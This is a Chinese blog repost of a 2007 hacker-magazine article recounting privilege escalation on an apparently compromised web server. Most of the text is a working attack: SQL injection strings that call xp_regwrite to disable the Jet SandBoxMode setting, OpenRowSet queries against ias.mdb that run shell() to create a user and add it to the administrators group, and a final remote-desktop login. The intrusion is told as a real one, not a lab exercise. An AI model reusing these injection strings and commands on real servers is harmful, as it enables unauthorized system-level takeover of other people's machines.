[重要通告]如您遇疑難雜癥,本站支持知識付費業(yè)務,掃右邊二維碼加博主微信,可節(jié)省您寶貴時間哦!

一把“沙盒”提權
今天實踐了一把“沙盒”提權
文章登于2007年2月的黑客X檔案雜志
作者:職業(yè)欠錢

動易出新洞,呆呆找到了后臺密碼,得到shell,su端口被改,沒別的途徑,數(shù)據(jù)庫連接帳號是SA,執(zhí)行命令的存儲過程無效(自己上傳了dll文件恢復了xp_cmdshell也沒用,OA_create和Job也試了,執(zhí)行命令無回顯),本欲放棄,想起前輩的一句話:“得到了SA拿不到system權限是水平問題”,于是仔細想了下,不能執(zhí)行命令,還有讀和寫文件的超級權限,而且注冊表的讀和寫權限也是有的,因此前輩的話非常有道理,有了這些權限,僅僅是不能執(zhí)行命令就放棄,太劃不來了。

想起一個沙盒的故事,那是很早以前,kevin1986還沒退出這個圈子,神秘兮兮的在賣一個工具,說是MDB注射時可以拿到system權限的工具,價錢不緋

大約一年后,這個真相終于被人公布了,引用一篇文章如下:
調用特殊函數(shù)實現(xiàn)SQL注入
首先我在(http://support.microsoft.com/kb/q239104/)這份資料知道在accessl里可以直接進行sql查詢,具體的在Access中測試.測試的SQL語句如下:

Select shell('c:\windows\system32\cmd.exe /c net user ray 123 /ad');

查看計算機管理的本地用戶,馬上發(fā)現(xiàn)多出一個ray用戶,說明語句成功執(zhí)行了.接下來寫一個VBS腳本任意連接一個mdb來測試這個SQL語句

Set Conn=Createobject("Adodb.Connection")

Conn.Open "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=test.mdb"

Set Rs=Conn.execute("Select Shell(""cmd.exe /c net user ray 123 /ad"")")
Msgbox Rs(0)
運行后會出現(xiàn)"表達式中的'Shell'函數(shù)未定義"的錯誤,提到WINDOWS在Jet引擎中設置了一個名為SandBoxMode的開關,它的注冊表位置在 HKEY_LOCAL_MACHINE\SoftWare\Microsoft\Jet\4.0\Engine\SandBoxMode里,0為在任何所有者中中都禁止起用安全設置,1為僅在允許的范圍之內(nèi),2則是必須是Access的模式下,3則是完全開啟安全設置.默認情況下為2,只能在Access 的模式下調用VBA的shell()函數(shù),我們嘗試將此注冊表值改為0,結果成功的運行了VBS利用Jet引擎可以調用VBA的shell()函數(shù)執(zhí)行了系統(tǒng)命令.

通常一臺MSSQL服務器同時支持Access數(shù)據(jù)庫,所以只要有一個sa或者dbowner的連接,就滿足了修改注冊表的條件,因為MSSQL有一個名為xp_regwrite的擴展,它的作用是修改注冊表的值.語法如下
exec maseter.dbo.xp_regwrite Root_Key,SubKey,Value_Type,Value
如果存在一個sa或者dbowner的連接的SQL注入點,就可以構造出如下注入語句
InjectionURL;EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engine','SandBoxMode','REG_DWORD','0'--
那我們將SandBoxMode開關的注冊表值修改為0就成功了.接著連接到一個Access數(shù)據(jù)庫中,就可以執(zhí)行系統(tǒng)命令,當然執(zhí)行系統(tǒng)命令我們只需要一個Access數(shù)據(jù)庫相關Select的注入點或者直接用ASP文件Select調用這個VBA的 shell()函數(shù),但是實際上MSSQL有一個的OpenRowSet函數(shù),它的作用是打開一個特殊的數(shù)據(jù)庫或者連接到另一個數(shù)據(jù)庫之中.當我們有一個 SA權限連接的時候,就可以做到打開Jet引擎連接到一個Access數(shù)據(jù)庫,同時我們搜索系統(tǒng)文件會發(fā)現(xiàn)windows系統(tǒng)目錄下本身就存在兩個 Access數(shù)據(jù)庫,位置在%windir%\system32\ias\ias.mdb或者%windir%\system32\ias\ dnary.mdb,這樣一來我們又可以利用OpenRowSet函數(shù)構造出如下注入語句:
InjectionURL';Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\winnt\system32\ias\ias.mdb','select shell("net user ray 123 /ad")');--
如果你覺得不大好懂的話,我可以給你做一個簡化的理解:
1,Access可以調用VBS的函數(shù),以System權限執(zhí)行任意命令
2,Access執(zhí)行這個命令是有條件的,需要一個開關被打開
3,這個開關在注冊表里
4,SA是有權限寫注冊表的
5,用SA寫注冊表的權限打開那個開關
6,調用Access里的執(zhí)行命令方法,以system權限執(zhí)行任意命令

所以,今天我使用HDSI的執(zhí)行SQL命令,執(zhí)行了以下命令:
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engine','SandBoxMode','REG_DWORD','0'

Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user zyqq 123 /add")');

Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net localgroup administrators zyqq /add")');
最后,用這個新加上的用戶,成功登陸3389!

據(jù)說DBO也有寫注冊表的權限,那么如果制作出一個專用的工具來,以后的提權道路確實會又寬廣了很多!不過DBO這個寫注冊表的權限我還沒有測試,一會測試了把報告發(fā)上來。

問題未解決?付費解決問題加Q或微信 2589053300 (即Q號又微信號)右上方掃一掃可加博主微信

所寫所說,是心之所感,思之所悟,行之所得;文當無敷衍,落筆求簡潔。 以所舍,求所獲;有所依,方所成!

支付寶贊助
微信贊助

免責聲明,若由于商用引起版權糾紛,一切責任均由使用者承擔。

您必須遵守我們的協(xié)議,如您下載該資源,行為將被視為對《免責聲明》全部內(nèi)容的認可->聯(lián)系老梁投訴資源
LaoLiang.Net部分資源來自互聯(lián)網(wǎng)收集,僅供用于學習和交流,請勿用于商業(yè)用途。如有侵權、不妥之處,請聯(lián)系站長并出示版權證明以便刪除。 敬請諒解! 侵權刪帖/違法舉報/投稿等事物聯(lián)系郵箱:service@laoliang.net
意在交流學習,歡迎贊賞評論,如有謬誤,請聯(lián)系指正;轉載請注明出處: » 一把“沙盒”提權

發(fā)表回復

本站承接,網(wǎng)站推廣(SEM,SEO);軟件安裝與調試;服務器或網(wǎng)絡推薦及配置;APP開發(fā)與維護;網(wǎng)站開發(fā)修改及維護; 各財務軟件安裝調試及注冊服務(金蝶,用友,管家婆,速達,星宇等);同時也有客戶管理系統(tǒng),人力資源,超市POS,醫(yī)藥管理等;

立即查看 了解詳情